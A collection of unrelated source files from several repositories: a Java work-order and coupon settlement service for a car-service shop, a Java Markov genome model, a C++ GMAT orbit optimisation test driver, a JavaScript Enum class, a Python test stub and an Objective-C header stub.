//根据车架号查询用户
User user = userService.inserUserAndMemberLvlByException(null, workOrder.getMobile(), workOrder.getCarNumber(),null);
if (user != null) {
workOrder.setUserId(user.getId());
//更新会员名称
if(workOrder.getUser() != null && !ValidUtil.isEmpty(workOrder.getUser().getRealName())) {
User nameUser = new User();
nameUser.setId(workOrder.getUserId());
nameUser.setRealName(workOrder.getUser().getRealName());
baseDao.updateEntity(nameUser);
}
}
//新增工单信息
WorkOrder order = (WorkOrder) baseDao.insertEntity(workOrder);
List<WorkOrderDetail> workOrderDetails = workOrder.getWorkOrderDetails();
List<WorkOrderDetail> orderDetails = workOrderDetails.stream().peek(detail -> {
detail.setWorkOrderId(order.getId());
}).collect(Collectors.toList());
//新增工单项目
order.setWorkOrderDetails(baseDao.insertEntities(orderDetails));
return order;
}
/**
* 新增施工图片
* @param workOrderImg
* @return
* @throws SQLException
*/
public WorkOrderImg insertWorkOrderImg(WorkOrderImg workOrderImg) throws SQLException {
return (WorkOrderImg) baseDao.insertEntity(workOrderImg);
}
/* ----------------------------------------------------------- insert (增) end ----------------------------------------------------- -----------*/
//</editor-fold>
//<editor-fold desc="delete (删)">
/* ----------------------------------------------------------- delete (删) start ----------------------------------------------------------------*/
/**
* 根据工单ID,删除工单
* @param id
* @throws SQLException
*/
public void deleteWorkOrderById(Integer id) throws SQLException {
//删除
baseDao.deleteEntity(new WorkOrder().setBaseId(id));
}
/**
* 根据工单项目ID,删除项目
* @param detailId
* @throws SQLException
*/
public void deleteWorkOrderDetailById(Integer detailId) throws SQLException {
//根据ID获取工单项目信息
WorkOrderDetail detail = baseDao.selectEntityById(detailId, WorkOrderDetail.class);
if(detail != null) {
//获取工单信息,判断状态
WorkOrder workOrder = baseDao.selectEntityById(detail.getWorkOrderId(), WorkOrder.class);
if(Constant.WorkOrderState.SERVICE_ING.codeName.equals(workOrder.getState())) {
//删除工单项目
baseDao.deleteEntity(new WorkOrderDetail().setBaseId(detailId));
List<WorkOrderDetail> list = selectWorkOrderDetailByOrderId(detail.getWorkOrderId());
if(list == null || list.size() == 0) {
//删除
baseDao.deleteEntity(new WorkOrder().setBaseId(detail.getWorkOrderId()));
}
}
}
}
/**
* 根据ID删除施工图片
* @param id
* @throws SQLException
*/
public void deleteWorkOrderImgById(Integer id) throws SQLException {
baseDao.deleteEntity(new WorkOrderImg().setBaseId(id));
}
/* ----------------------------------------------------------- delete (删) end ----------------------------------------------------- -----------*/
//</editor-fold>
//<editor-fold desc="update (改)">
/* ----------------------------------------------------------- update (改) start ----------------------------------------------------------------*/
/**
* 更新工单
* @param workOrder
* @return
* @throws SQLException
*/
public void updateWorkOrder(WorkOrder workOrder) throws SQLException {
baseDao.updateEntity(workOrder);
}
/**
* 更新工单
* @param workOrder
* @throws SQLException
*/
public void updateWorkOrderForEdit(WorkOrder workOrder) throws SQLException {
//需要更新的工单项目
List<WorkOrderDetail> workOrderDetails = workOrder.getWorkOrderDetails();
//新的工单项目
List<WorkOrderDetail> newWorkOrderDetails = new ArrayList<WorkOrderDetail>();
//原来的订单详情
if (workOrderDetails != null && workOrderDetails.size() > 0) {
//获取旧的工单项目
List<WorkOrderDetail> originalWorkDetails = selectWorkOrderDetailByOrderId(workOrder.getId());
//过滤出新增->新增到数据库中
List<WorkOrderDetail> insertCollect = workOrderDetails.stream().filter(workOrderDetail -> !originalWorkDetails.contains(workOrderDetail)).collect(Collectors.toList());
insertCollect.forEach(insert -> insert.setWorkOrderId(workOrder.getId()));
List list = baseDao.insertEntities(insertCollect);
if (list != null && list.size() > 0) {
newWorkOrderDetails.addAll(list);
}
//过滤出删除->删除原有存在库了的数据
List<WorkOrderDetail> deleteCollect = originalWorkDetails.stream().filter(originalWorkDetail -> !workOrderDetails.contains(originalWorkDetail)).collect(Collectors.toList());
// baseDao.deleteEntitys(deleteCollect);
//过滤出不变的->更新内容到数据库
List<WorkOrderDetail> updateCollect = workOrderDetails.stream().filter(workOrderDetail -> originalWorkDetails.contains(workOrderDetail)).collect(Collectors.toList());
newWorkOrderDetails.addAll(updateCollect);
updateCollect.forEach(u -> {
try {
baseDao.updateEntity(u, "discountPrice,discountNumber,couponUuid,couponName,couponDeduct,workerId,salerId", ValueUpdatePolicy.WITH_EMPTY_WITH_NULL);
} catch (Exception e) {
return;
}
});
workOrder.setWorkOrderDetails(newWorkOrderDetails);
}
//判断使用的卡券是否有更新
baseDao.updateEntity(workOrder, "couponUuid", ValueUpdatePolicy.WITH_EMPTY_WITH_NULL);
//更新会员名称
if(workOrder.getUser() != null && !ValidUtil.isEmpty(workOrder.getUser().getRealName())) {
User user = new User();
user.setId(workOrder.getUserId());
user.setRealName(workOrder.getUser().getRealName());
baseDao.updateEntity(user);
}
}
/**
* 结算工单
* @param orderId
* @throws SQLException
*/
public ReturnResult updateWorkOrderForSettle(Integer orderId, Integer payOrderId, String wxOpenId) throws SQLException, IOException {
//查询工单信息
WorkOrder workOrder = selectWorkOrderById(orderId);
workOrder.setWorkOrderDetails(selectWorkOrderDetailByOrderId(orderId));
if(workOrder != null && Constant.WorkOrderState.NO_PAY.codeName.equals(workOrder.getState())) {
//优惠券处理,成功后,执行结算
if(isWorkOrderUseCoupons(orderId)) {
List<String> uuidList = workOrder.getWorkOrderDetails().stream().map(detail -> {return detail.getCouponUuid(); }).collect(Collectors.toList());
List<String> nameList = workOrder.getWorkOrderDetails().stream().map(detail -> {return detail.getCouponName(); }).collect(Collectors.toList());;
List<String> deductList = workOrder.getWorkOrderDetails().stream().map(detail -> {return String.valueOf(detail.getCouponDeduct()); }).collect(Collectors.toList());;
//校验车牌是否可用
ReturnResult valResult = valCouponsCanUse(workOrder.getWorkOrderDetails());
if(valResult != null) {
return valResult;
}
for(int i = 0 ; i < uuidList.size() ; i++) {
String uuid = uuidList.get(i); //卡券uuid
String name = nameList.get(i); //卡券名称
String deduct = deductList.get(i); //每张卡券的扣减
//如果券空,则继续
if(ValidUtil.isEmpty(uuid)) {
continue;
}
Map couponParam = new HashMap();
couponParam.put("businessId",workOrder.getBusinessId());//商家id
couponParam.put("checkMoney",deduct);//金额
couponParam.put("takeUuid",uuid);//优惠券的uuid
couponParam.put("workOrderNo",workOrder.getOrderNo()); //工单单号
ReturnResult returnResult = PostUtil.postEMKT(Constant.Emkt.UPDATE_COUPONS_USED.codeName, couponParam);
if(!returnResult.getCode().equals(Constant.StateCode.SUCCESS.codeName)) {
return returnResult;
}
//获取EMKT卡券信息
WeChatPayOrder weChatPayOrder = JSONObject.parseObject(PostUtil.postEMKT(Constant.Emkt.SELECT_COUPONUSED_FOR_MA_CHECK.codeName, new HashMap<String, String>() {{
put("takeUuid", uuid);
}}).getData().toString(),WeChatPayOrder.class);
if(weChatPayOrder != null) {
weChatPayOrder.setOrderType(Constant.WeChatPayOrderType.COUPON_ORDER_TYPE.codeName);
weChatPayOrder.setStatus(Constant.OrderState.PAID.codeName.toString());
weChatPayOrder.setShowName(name + (weChatPayOrder.getCheckMoneyFee() == 0 ? "(核销已达上限)" : "") + "/"+workOrder.getCarNumber());
weChatPayOrder.setTradingTime(new Timestamp(new Date().getTime()));
BusinessCheckMoney businessCheckMoney = weChatPayOrderService.selectBusinessCheckMoney(workOrder.getBusinessId());
Integer canCheckMoney = businessCheckMoney.getCanCheckMoney()+weChatPayOrder.getCheckMoneyFee();
weChatPayOrder.setRealTimeMoneyFee(canCheckMoney);
weChatPayOrderService.insertWeChatPayOrder(weChatPayOrder);
businessCheckMoney.setCanCheckMoney(canCheckMoney);
weChatPayOrderService.updateBusinessCheckMoney(businessCheckMoney);
financeService.insertFinanceRecordByOrder(weChatPayOrder, null);
//将卡券设置为已核销
List<String> couponIds = new ArrayList<String>();
couponIds.add(weChatPayOrder.getTradeNo());
PostUtil.postEMKT(Constant.Emkt.UPDATE_MACHECKS_COUPON_USED.codeName,new HashMap(){{ put("ids", couponIds);}});
}
}
}
userService.insertUser(wxOpenId, workOrder.getMobile(), workOrder.getCarNumber());
//更新工单中的信息
workOrder.setState(Constant.WorkOrderState.COMPLETE.codeName);
workOrder.setPayTime(new Timestamp(System.currentTimeMillis()));
baseDao.updateEntity(workOrder,null);
//更新会员及套餐信息
updateMemberInfoByWorkOrder(workOrder, true);
//新增付款记录信息
financeService.insertFinanceRecordByOrder(workOrder, payOrderId);
//发送结账消息提醒
workOrder.setBusinessName(businessService.selectBusinessById(workOrder.getBusinessId()).getBusinessName());
workOrder.setUser(userService.selectUserById(workOrder.getUserId()));
WxMsgUtil.sendMsgForSettle(workOrder.getUser().getWxOpenId(), workOrder);
//发送使用套餐提醒
List<WxMsgDto> wxMsgDtoList = memberPackageRecordService.selectWorkOrderPackageMsg(workOrder.getId());
if(wxMsgDtoList != null && wxMsgDtoList.size() > 0) {
wxMsgDtoList.forEach(dto -> WxMsgUtil.sendMsgForConsumePackage(workOrder.getUser().getWxOpenId(), dto));
}
}else {
return ReturnResult.buildEnumResult(Constant.StateCode.WORK_ORDER_STATE_ERROR);
}
return ReturnResult.buildSuccessMsg();
}
/**
* 判断工单项目是否使用卡券
* @param workOrderId
* @return
*/
public boolean isWorkOrderUseCoupons(Integer workOrderId) throws SQLException {
List<WorkOrderDetail> list = this.selectWorkOrderDetailByOrderId(workOrderId);
if(list != null) {
for (WorkOrderDetail detail : list) {
if(!ValidUtil.isEmpty(detail.getCouponUuid())) {
return true;
}
}
}
return false;
}
/**
* 校验项目卡券是否可用
* @param detailList
* @return
* @throws SQLException
* @throws IOException
*/
private ReturnResult valCouponsCanUse(List<WorkOrderDetail> detailList) throws SQLException,IOException {
if(detailList != null) {
for(WorkOrderDetail detail : detailList) {
if(!ValidUtil.isEmpty(detail.getCouponUuid())) {
//校验卡券是否可用
ReturnResult returnResult = PostUtil.postEMKT(Constant.Emkt.SELECT_COUPONS_USED_BY_UUID.codeName, new HashMap<String, String>() {{
put("takeUuid", detail.getCouponUuid());
}});
if (!returnResult.getCode().equals(Constant.StateCode.SUCCESS.codeName) || !Boolean.valueOf(returnResult.getData().toString())) {
return ReturnResult.buildEnumResult(Constant.StateCode.COUPON_INVALID);
}
}
}
}
return null;
}
/**
* 更新会员及套餐信息
* @param workOrder
* @param flag ture : 结算 false : 反结算
*/
public void updateMemberInfoByWorkOrder(WorkOrder workOrder, boolean flag) throws SQLException {
Integer userId = workOrder.getUserId();
Integer businessId = workOrder.getBusinessId();
if (userId != null) {
//遍历出使用套餐卡的服务项,进行套餐扣减
Map<Integer, Integer> usePackageServiceItems = new HashMap<>();
workOrder.getWorkOrderDetails().forEach(detail -> {
if(detail.getServiceItemId() != null && detail.getUsePackageTimes()!=null && detail.getUsePackageTimes()>0) {
usePackageServiceItems.put(detail.getServiceItemId(), usePackageServiceItems.get(detail.getServiceItemId()) == null ? detail.getUsePackageTimes() : (usePackageServiceItems.get(detail.getServiceItemId()) + detail.getUsePackageTimes()));
}
});
if (usePackageServiceItems.size() > 0) {
//套餐服务项扣减
if(flag) {
memberPackageRecordService.updateMemberPackageRecordByUse(userId, usePackageServiceItems, workOrder.getId());
}else {
memberPackageRecordService.updateMemberPackageRecordByCounter(workOrder.getId());
}
}
//处理会员(是否满足商家会员条件,如果满足则升级会员否则不变)
memberLvlRecordService.upgradeMemberLvlRecord(userId, businessId, flag ? workOrder.getTotalPrice() : -workOrder.getTotalPrice());
//处理余额
if(workOrder.getBalanceDeduct() != null) {
memberLvlRecordService.updateMemberLvl(userId, businessId, flag ? -workOrder.getBalanceDeduct() : workOrder.getBalanceDeduct(), 0D, false);
}
}
}
/**
* 反结算工单
* @param orderId
* @throws SQLException
*/
public void updateWorkOrderForAntiSettle(Integer orderId) throws SQLException {
//设置状态
WorkOrder workOrder = new WorkOrder();
workOrder.setId(orderId);
workOrder.setState(Constant.WorkOrderState.NO_PAY.codeName);
workOrder.setPayTime(null);
baseDao.updateEntity(workOrder, "payTime", ValueUpdatePolicy.WITH_EMPTY_WITH_NULL);
//查询工单信息
WorkOrder order = selectWorkOrderById(orderId);
order.setWorkOrderDetails(selectWorkOrderDetailByOrderId(orderId));
//更新会员及套餐信息
updateMemberInfoByWorkOrder(order, false);
//删除付款记录信息
order.setOpposite(true);
financeService.insertFinanceRecordByOrder(order, null);
}
/* ----------------------------------------------------------- update (改) end ----------------------------------------------------- -----------*/
//</editor-fold>
//<editor-fold desc="select (查)">
/* ----------------------------------------------------------- select (查) start ----------------------------------------------------------------*/
/**
* 根据工单ID,获取工单信息
* @param orderId
* @return
* @throws SQLException
*/
public WorkOrder selectWorkOrderById(Integer orderId) throws SQLException {
return baseDao.selectEntityById(orderId, WorkOrder.class);
}
/**
* 根据工单ID,查询工单项目信息
* @param workOrderId
* @return
* @throws SQLException
*/
public List<WorkOrderDetail> selectWorkOrderDetailByOrderId(Integer workOrderId) throws SQLException {
WorkOrderDetail workOrderDetail = new WorkOrderDetail();
workOrderDetail.setWorkOrderId(workOrderId);
return baseDao.selectEntity(workOrderDetail);
}
/**
* 根据工单ID获取详情与项目明细
* @param orderId
* @return
* @throws SQLException
*/
public WorkOrder selectWorkOrderAndDetailByOrderId(Integer orderId) throws SQLException {
WorkOrder workOrder = selectWorkOrderById(orderId);
if(workOrder != null) {
workOrder.setWorkOrderDetails(selectWorkOrderDetailByOrderId(orderId));
}
return workOrder;
}
/**
* 根据条件获取工单详细信息(包括会员套餐)
* @param param
* @return
* @throws SQLException
*/
public ReturnResult selectMoreInfoByParam(Map<String, Object> param) throws SQLException {
Map<String, Object> dataMap = new HashMap<String, Object>();
//获取工单详情信息
PermissionHelper.ignorePermissionThisTime();
WorkOrder workOrder = (WorkOrder)baseDao.selectObject(WorkOrder.Daos.selectMoreInfoByParam.sqlMapname, param);
dataMap.put("workOrder", workOrder);
//设置会员信息
if(workOrder != null) {
param.put("carNumber", workOrder.getCarNumber());
//判断如果参数中包含管理员
if(!ValidUtil.isEmpty(param.get("operatorId"))) {
param.put("orderId", workOrder.getId());
PermissionHelper.ignorePermissionThisTime();
dataMap.put("serviceIdList", baseDao.selectList(WorkOrder.Daos.selectServiceItemIdForOperator.sqlMapname, param));
}
}
dataMap.put("user", (BusinessCarDto)userService.selectUserByCarNumberForBusiness(param));
return ReturnResult.buildSuccessMsg().setData(dataMap);
}
/**
* 根据查询条件,获取工单列表
* @param param
* @return
* @throws SQLException
*/
public PageInfo<WorkOrder> selectWorkOrderPage(Map<String, Object> param) throws SQLException {
PageInfo<WorkOrder> pageInfo = baseDao.selectEntitiesByPage(WorkOrder.Daos.selectWorkOrderPage.sqlMapname
,param
,Integer.valueOf(param.getOrDefault("startPage",1).toString())
,Integer.valueOf(param.getOrDefault("pageSize",10).toString())
,null);
if(pageInfo != null && pageInfo.getList() != null) {
//判断关账日
String closeDateStart = ""; //可反结算的开始时间
Business business = businessService.selectBusinessById(UserDefaultUtil.getBusinessId());
if(business.getClosingDateNum() != null) {
String closingDateNumStr = business.getClosingDateNum() < 10 ? ("0" + business.getClosingDateNum()) : business.getClosingDateNum().toString();
if(business.getClosingDateNum().compareTo(Integer.valueOf(DateUtils.formatDate(new Date(), "dd"))) >= 0) {
String preMonth = DateUtils.formatDate(DateUtils.preMonth(new Date()), "yyyy-MM");
closeDateStart = preMonth + "-" + closingDateNumStr + " 23:59:59";
}else {
String nextMonth = DateUtils.formatDate(DateUtils.nextMonth(new Date()), "yyyy-MM");
closeDateStart = DateUtils.formatDate(new Date(), "yyyy-MM") + "-" + closingDateNumStr + " 23:59:59";
}
}
//判断是否显示反结算按钮
for(WorkOrder order : pageInfo.getList()) {
if(closeDateStart.compareTo(DateUtils.formatDate(order.getPayTime(), "yyyy-MM-dd HH:mm:ss")) > 0) {
order.setOpposite(false);
}else {
order.setOpposite(true);
}
}
}
return pageInfo;
}
/**
* 导出工单列表
* @param param
* @return
* @throws SQLException
*/
public List<WorkOrderExcelDto> selectWorkOrderForExcel(Map<String, Object> param) throws SQLException {
return (List<WorkOrderExcelDto>)baseDao.selectList(WorkOrder.Daos.selectWorkOrderForExcel.sqlMapname, param);
}
/**
*
* @param param
* @return
* @throws SQLException
*/
public List<String> selectWorkOrderStateCount(Map<String, Object> param) throws SQLException {
return (List<String>)baseDao.selectList(WorkOrder.Daos.selectWorkOrderStateCount.sqlMapname, param);
}
/**
* 核查订单是否可以支付
* @return
*/
public ReturnResult selectCheckCanPay(Integer orderId) throws SQLException, IOException {
WorkOrder workOrder = selectWorkOrderById(orderId);
workOrder.setWorkOrderDetails(selectWorkOrderDetailByOrderId(orderId));
//校验车牌是否可用
ReturnResult valResult = valCouponsCanUse(workOrder.getWorkOrderDetails());
if(valResult != null) {
return valResult;
}
if(!Constant.WorkOrderState.NO_PAY.codeName.equals(workOrder.getState())){
return ReturnResult.buildEnumResult(Constant.StateCode.ORDER_HAVE_FAIL_ERR);
}
return ReturnResult.buildSuccessMsg();
}
/**
* 根据车牌号查询所有订单
* @param paramMap
* @return
* @throws SQLException
*/
public List<WorkOrder> selectWorkOrderByCarNumber(Map paramMap) throws SQLException {
WorkOrder workOrder=new WorkOrder();
workOrder.setCarNumber(paramMap.get("carNumber").toString());
return baseDao.selectEntity(workOrder);
}
/**
* 统计工单数量
* @param paramMap
* @return
* @throws SQLException
*/
public Integer selectCountWorkOrder(Map paramMap) throws SQLException {
return (Integer) baseDao.selectObject(WorkOrder.Daos.selectCountWorkOrder.sqlMapname, paramMap);
}
/**
* 查询商家的未结算工单数量
*/
public Integer selectWorkOrderNoPaidCount(Map paramMap) throws SQLException{
return (Integer) baseDao.selectObject(WorkOrder.Daos.selectWorkOrderNoPaidCount.sqlMapname, paramMap);
}
/**
* 根据查询条件,获取工单列表
* @param param
* @return
* @throws SQLException
*/
public PageInfo<WorkOrder> selectWorkOrderPageForWap(Map<String, Object> param) throws SQLException {
//获取满足条件的工单信息
PageInfo<WorkOrder> pageInfo = baseDao.selectEntitiesByPage(WorkOrder.Daos.selectWorkOrderPage.sqlMapname
,param
,Integer.valueOf(param.getOrDefault("startPage",1).toString())
,Integer.valueOf(param.getOrDefault("pageSize",10).toString())
,null);
//获取更多信息
if(pageInfo.getList() != null && pageInfo.getList().size() > 0) {
Map<String, Object> map = new HashMap<String, Object>();
map.put("orderIds", pageInfo.getList().stream().map(s -> s.getId().toString()).collect(Collectors.joining(",")));
pageInfo.setList((List<WorkOrder>)baseDao.selectList(WorkOrder.Daos.selectMoreInfoByParam.sqlMapname, map));
}
return pageInfo;
}
/**
* 查询商家总的开单数和支付数
* @param param
* @return
* @throws SQLException
*/
public PaymentRateDto selectWorkOrderPaymentRate(Map param) throws SQLException {
List<HashMap> hashMaps = (List<HashMap>) baseDao.selectList(WorkOrder.Daos.selectWorkOrderPaymentRate.sqlMapname, param);
PaymentRateDto paymentRateDto = new PaymentRateDto();
Integer cash = 0;//现金收款
Integer wechat = 0;//微信收款
Integer debts = 0;//挂账
for (HashMap hashMap : hashMaps) {
String payType = hashMap.get("payType").toString();
if("cash".equals(payType)){
cash += Integer.valueOf(hashMap.get("count").toString());
}else if("wechat".equals(payType)){
wechat+=Integer.valueOf(hashMap.get("count").toString());
}else if("debts".equals(payType)){
debts+=Integer.valueOf(hashMap.get("count").toString());
}
}
paymentRateDto.setWxPayNum(wechat);
Integer woNum = cash + wechat + debts;
paymentRateDto.setWorkOrderNum(woNum);
return paymentRateDto;
}
/**
* 分页查询商家的开单数跟支付数
* @param param
* @return
* @throws SQLException
*/
public PageInfo selectPagePaymentRateDto(Map param) throws SQLException {
String orderBy = param.getOrDefault("orderBy","workOrderNum desc").toString();
Integer startPage = Integer.valueOf(param.getOrDefault("startPage", 1).toString());
Integer pageSize = Integer.valueOf(param.getOrDefault("pageSize", 10).toString());
return baseDao.selectEntitiesByPage(WorkOrder.Daos.selectPagePaymentRateDto.sqlMapname, param, startPage, pageSize,orderBy);
}
/**
* 查询结算的车牌工单数
* @param param
* @return
* @throws SQLException
*/
public List<WorkOrder> selectNoCompleteWorkOrderByCarNumber(Map<String, Object> param) throws SQLException {
param.put("stateList",Arrays.asList(Constant.WorkOrderState.SERVICE_ING.codeName, Constant.WorkOrderState.NO_PAY.codeName,Constant.WorkOrderState.WAITING.codeName));
return (List<WorkOrder>)baseDao.selectList(WorkOrder.Daos.selectMoreInfoByParam.sqlMapname, param);
}
/**
* 不分页查询商家的开单数跟支付数
* @param param
* @return
* @throws SQLException
*/
public List<PaymentRateDto> selectPaymentRateDtoList(Map param) throws SQLException {
return (List<PaymentRateDto>) baseDao.selectList(WorkOrder.Daos.selectPagePaymentRateDto.sqlMapname, param);
}
/**
* 根据id查询详情
* @param id
* @return
* @throws SQLException
*/
public UserWorkOrderDto selectWorkOrderDtoById(Integer id) throws SQLException {
Map idMap = new HashMap();
idMap.put("id", id);
return (UserWorkOrderDto) baseDao.selectObject(WorkOrder.Daos.selectWorkOrderDtoById.sqlMapname, idMap);
}
public PageInfo<WorkOrderDto> selectPageByState(Map paramMap) throws SQLException {
PageInfo pageInfo = null;
String orderByStr = "updateTime desc";
if (paramMap.get("orderBy")!= null) orderByStr = paramMap.get("orderBy").toString();
pageInfo = baseDao.selectEntitiesByPage(WorkOrder.Daos.selectWorkOrderByParam.sqlMapname, paramMap,Integer.parseInt( paramMap.get("startPage").toString()), Integer.parseInt( paramMap.get("pageSize").toString()), orderByStr);
if (pageInfo.getList().size() > 0) {
Map workIdsMap = new HashMap();
List<Integer> workOrderIds = new ArrayList<>();
((List<WorkOrder>) pageInfo.getList()).forEach(workOrder -> workOrderIds.add(workOrder.getId()));
workIdsMap.put("workOrderIds", workOrderIds);
workIdsMap.put("orderBy", orderByStr);
pageInfo.setList(baseDao.selectList(WorkOrder.Daos.selectPageByWorkOrderIds.sqlMapname, workIdsMap));
}
return pageInfo;
}
/**
* 查询用户最早产生记录的情况
*/
public Map selectInitialByOpenId(Map param) throws ServiceException {
try{
return (Map)baseDao.selectObject(WorkOrder.Daos.selectInitialByOpenId.sqlMapname,param);
}catch (Exception e) {
log.error("查询失败,param="+param,e);
throw new ServiceException(Constant.StateCode.SELECT_ERROR.codeName);
}
}
/* ----------------------------------------------------------- select (查) end ----------------------------------------------------- -----------*/
//</editor-fold>
} |
xlinxlin/japsa | src/dev/java/japsadev/xm/genome/MarkovExpertLong.java | <gh_stars>10-100
/*****************************************************************************
* Copyright (c) 2010 <NAME>, Monash University. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without *
* modification, are permitted provided that the following conditions *
* are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, *
* this list of conditions and the following disclaimer. *
* 2. Redistributions in binary form must reproduce the above copyright *
* notice, this list of conditions and the following disclaimer in the *
* documentation and/or other materials provided with the distribution. *
* 3. Neither the name of Monash University nor the names of its contributors*
* may be used to endorse or promote products derived from this software *
* without specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS *
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, *
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR *
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR *
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, *
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, *
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR *
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF *
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING *
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
****************************************************************************/
package japsadev.xm.genome;
public class MarkovExpertLong extends ExpertLong {
private MarkovLong markov;
public MarkovExpertLong(GenomeSequence seq, int order) {
super(seq);
markov = new MarkovLong(order);
}
public void learn(byte[] aSeq) {
for (int i = 0; i < aSeq.length; i++) {
markov.update(aSeq[i]);
}
}
public void resurrect(GenomeSequence work, long i, int past) {
}
public void resign() {
}
public double probability(int character) {
return markov.probability(character);
}
public int copyFrom(int i) {
return 0;
}
public double update(int actual) {
double costActual = markov.probability(actual);
updateCost(costActual);
markov.update(actual);
return costActual;
}
public int copyFrom() {
return 0;
}
public String toString() {
return "ME";
}
public void learn() {
}
}
class MarkovLong {
// use of one-d array
long[] charCounts;
long[] countTotal;
int order;
int currentInd = 0;// index of current context
int MASK;// matrix size
public MarkovLong(int order) {
this.order = order;
MASK = (int) Math.pow(ExpertLong.ALPHABET_SIZE, order);
if (order >= 0) {
charCounts = new long[MASK * ExpertLong.ALPHABET_SIZE];
countTotal = new long[MASK];
for (int i = 0; i < charCounts.length; i++)
charCounts[i] = 1;
for (int i = 0; i < countTotal.length; i++)
countTotal[i] = ExpertLong.ALPHABET_SIZE;
}
}
public void update(int a) {
countTotal[currentInd]++;
currentInd = currentInd * ExpertLong.ALPHABET_SIZE + a;
charCounts[currentInd]++;
currentInd = currentInd % MASK;
}
public double probability(int a) {
return ((double) charCounts[currentInd * ExpertLong.ALPHABET_SIZE + a])
/ countTotal[currentInd];
}
}
|
IncompleteWorlds/GMAT_2020 | src/csaltTester/src/TestOptCtrl/src/drivers/ConwayOrbitExampleDriver.cpp | <reponame>IncompleteWorlds/GMAT_2020
//------------------------------------------------------------------------------
// ConwayOrbitExampleDriver
//------------------------------------------------------------------------------
// GMAT: General Mission Analysis Tool
//
// Copyright (c) 2002 - 2020 United States Government as represented by the
// Administrator of the National Aeronautics and Space Administration.
// All Other Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// You may not use this file except in compliance with the License.
// You may obtain a copy of the License at:
// http://www.apache.org/licenses/LICENSE-2.0.
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
// express or implied. See the License for the specific language
// governing permissions and limitations under the License.
//
// Developed jointly by NASA/GSFC and Thinking Systems, Inc. under Purchase
// Order NNG16LD52P
//
// Author: <NAME>, Thinking Systems, Inc.
// Created: Feb 13, 2017
/**
* Driver for the Conway orbit problem using a Radau phase
*/
//------------------------------------------------------------------------------
#include "csalt.hpp"
#include "ConwayOrbitExampleDriver.hpp"
#include "ConwayOrbitExamplePointObject.hpp"
#include "ConwayOrbitExamplePathObject.hpp"
//#define DEBUG_SHOWRESULTS
static const Real INF = std::numeric_limits<Real>::infinity();
using namespace std;
using namespace GmatMathConstants;
ConwayOrbitExampleDriver::ConwayOrbitExampleDriver() :
CsaltTestDriver("ConwayOrbitExample")
{
}
ConwayOrbitExampleDriver::~ConwayOrbitExampleDriver()
{
}
void ConwayOrbitExampleDriver::SetPointPathAndProperties()
{
pathObject = new ConwayOrbitExamplePathObject();
pointObject = new ConwayOrbitExamplePointObject();
// Also set things like the bounds, mesh refinement count, and so forth here
maxMeshRefinementCount = 25;
}
void ConwayOrbitExampleDriver::SetupPhases()
{
//Set mesh properties
RadauPhase *phase1 = new RadauPhase();
std::string initialGuessMode = "LinearUnityControl";
Rvector meshIntervalFractions(5, -1.0, -0.5, 0.0, 0.5, 1.0);
IntegerArray meshIntervalNumPoints;
meshIntervalNumPoints.push_back(6);
meshIntervalNumPoints.push_back(6);
meshIntervalNumPoints.push_back(6);
meshIntervalNumPoints.push_back(6);
//Set time properties
Real timeLowerBound = 0.0;
Real timeUpperBound = 100.0;
Real initialGuessTime = 0.0;
Real finalGuessTime = 50.0;
//Set state properties
Integer numStateVars = 4;
Rvector stateLowerBound(4,-10.0, -6.0 * 2.0 * GmatMathConstants::PI, -10.0, -10.0);
Rvector initialGuessState(4,1.1, 0.0, 0.0, 1.0/sqrt(1.1));
Rvector finalGuessState(4,5.0, 3.0 * 2.0 * GmatMathConstants::PI, 1.0, 1.0);
Rvector stateUpperBound(4,10.0, 6.0 * 2.0 * GmatMathConstants::PI, 10.0, 10.0);
//Set control properties
Integer numControlVars = 1;
Rvector controlUpperBound(1,10.0);
Rvector controlLowerBound(1,-10.0);
phase1->SetInitialGuessMode(initialGuessMode);
phase1->SetNumStateVars(numStateVars);
phase1->SetNumControlVars(numControlVars);
phase1->SetMeshIntervalFractions(meshIntervalFractions);
phase1->SetMeshIntervalNumPoints(meshIntervalNumPoints);
phase1->SetStateLowerBound(stateLowerBound);
phase1->SetStateUpperBound(stateUpperBound);
phase1->SetStateInitialGuess(initialGuessState);
phase1->SetStateFinalGuess(finalGuessState);
phase1->SetTimeLowerBound(timeLowerBound);
phase1->SetTimeUpperBound(timeUpperBound);
phase1->SetTimeInitialGuess(initialGuessTime);
phase1->SetTimeFinalGuess(finalGuessTime);
phase1->SetControlLowerBound(controlLowerBound);
phase1->SetControlUpperBound(controlUpperBound);
phaseList.push_back(phase1);
}
|
pervertedpokepuffs/laravel-table | node_modules/@foliojs-fork/restructure/src/Enum.js | class Enum {
constructor(type, options = []) {
this.type = type;
this.options = options;
}
decode(stream) {
const index = this.type.decode(stream);
return this.options[index] || index;
}
size() {
return this.type.size();
}
encode(stream, val) {
const index = this.options.indexOf(val);
if (index === -1) {
throw new Error(`Unknown option in enum: ${val}`);
}
return this.type.encode(stream, index);
}
}
module.exports = Enum;
|
YelloFam/python-dependency-injector | tests/unit/providers/singleton/__init__.py | <reponame>YelloFam/python-dependency-injector
"""Singleton provider tests."""
|
reels-research/iOS-Private-Frameworks | GeoServices.framework/GEOSupportedTileSets.h | /* Generated by RuntimeBrowser
Image: /System/Library/PrivateFrameworks/GeoServices.framework/GeoServices
*/
